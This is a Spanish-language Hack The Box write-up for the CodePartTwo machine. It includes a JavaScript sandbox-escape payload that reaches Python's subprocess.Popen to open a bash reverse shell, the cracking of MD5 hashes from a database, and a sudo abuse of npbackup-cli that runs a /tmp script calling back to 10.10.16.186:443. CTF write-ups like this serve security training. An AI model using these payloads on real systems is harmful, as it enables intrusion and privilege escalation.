Skip to main content

Máquina CodePartTwo

Hack The Box – Máquinas


  • Tags: #Linux #Easy #CVE

Reconocimiento

  1. Identificación de sistema operativo a través de ping
  • Como el ttl es cercano a 64, se puede saber que la máquina es Linux
  1. Identificación de puertos abiertos con Nmap
  • Primero se realiza un escaneo básico para identificar los puertos abiertos de la máquina:

  • Luego se hace un escaneo más detallado de los puertos abiertos para encontrar los servicios y versiones que corren en el servidor

  1. Revisión de la página web desplegada por el puerto 8000 de la máquina CodePartTwo
  • Al ingresar a la página se puede observar una plataforma con 3 opciones e información básica:

  • Se puede descargar el código fuente del programa, pero en este caso se procede a registrase en la plataforma y probar su funcionamiento:

  • Una vez se ha ingresado a la plataforma, se puede ver un dashboard en el que se ejecuta código JavaScript y muestra el output del código:

  • Por medio de este dashboard, se prueba la siguiente línea de código para comprobar si python está corriendo por detrás:

(function(){
  try {
    return Object.getOwnPropertyNames({});
  } catch(e) {
    return e.toString();
  }
})()

Explotación

-- Se intenta enviar una reverse shell con el siguiente payload:

(function(){
  var cmd = "bash -c 'bash -i >& /dev/tcp/IP/PUERTO 0>&1'";
  var ga = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
  var root = ga(ga(ga,"__class__"),"__base__");
  function findPopen(o){
    var r, subs=o.__subclasses__();
    for (var i in subs){
      var it=subs[i];
      if (it.__module__=="subprocess" && it.__name__=="Popen") return it;
      if (it.__name__!="type" && (r=findPopen(it))) return r;
    }
  }
  return findPopen(root)(cmd, -1, null, -1, -1, -1, null, null, true);
})()

  • Se va al home y se encuentra la carpeta de un usuario llamado "marco" a la cual no se puede acceder ya que no se tienen los permisos suficientes

  • Una vez dentro se busca en el directorio /app/instances y se encuentran dos archivo de bases de datos que se abren con sqlite3 Se puede ver que hay usuarios con contraseñas hasheadas con md5 por lo que se intenta encontrar alguna que ya haya sido "dehasheada" En este caso la del usuario "marco" existe por lo que se ingresa a este por ssh

  • Se encuentra la flag de usuario y una carpeta de backups junto con un archivo de configuración

Escalada de privilegios

  • Se hace un sudo -l para ver qué puede ejecutar como administrador En este caso hay un binario llamado npbackup-cli por lo que se mira su contenido y se ve que es un script en Python

  • Luego de revisar todos los archivos relacionados con el backup se encuentra una vía potencial de escalar privilegios por medio de un script propio por lo que se crea el script en /tmp con el siguiente contenido (con permisos de ejecución)

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.186/443 0>&1
  • Se utiliza el binario de backups para escalar privilegios con sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf --external-backend-binary=/tmp/exploit.sh --backup

  • Se ingresa al directorio /root y se encuentra la flag del usuario "root"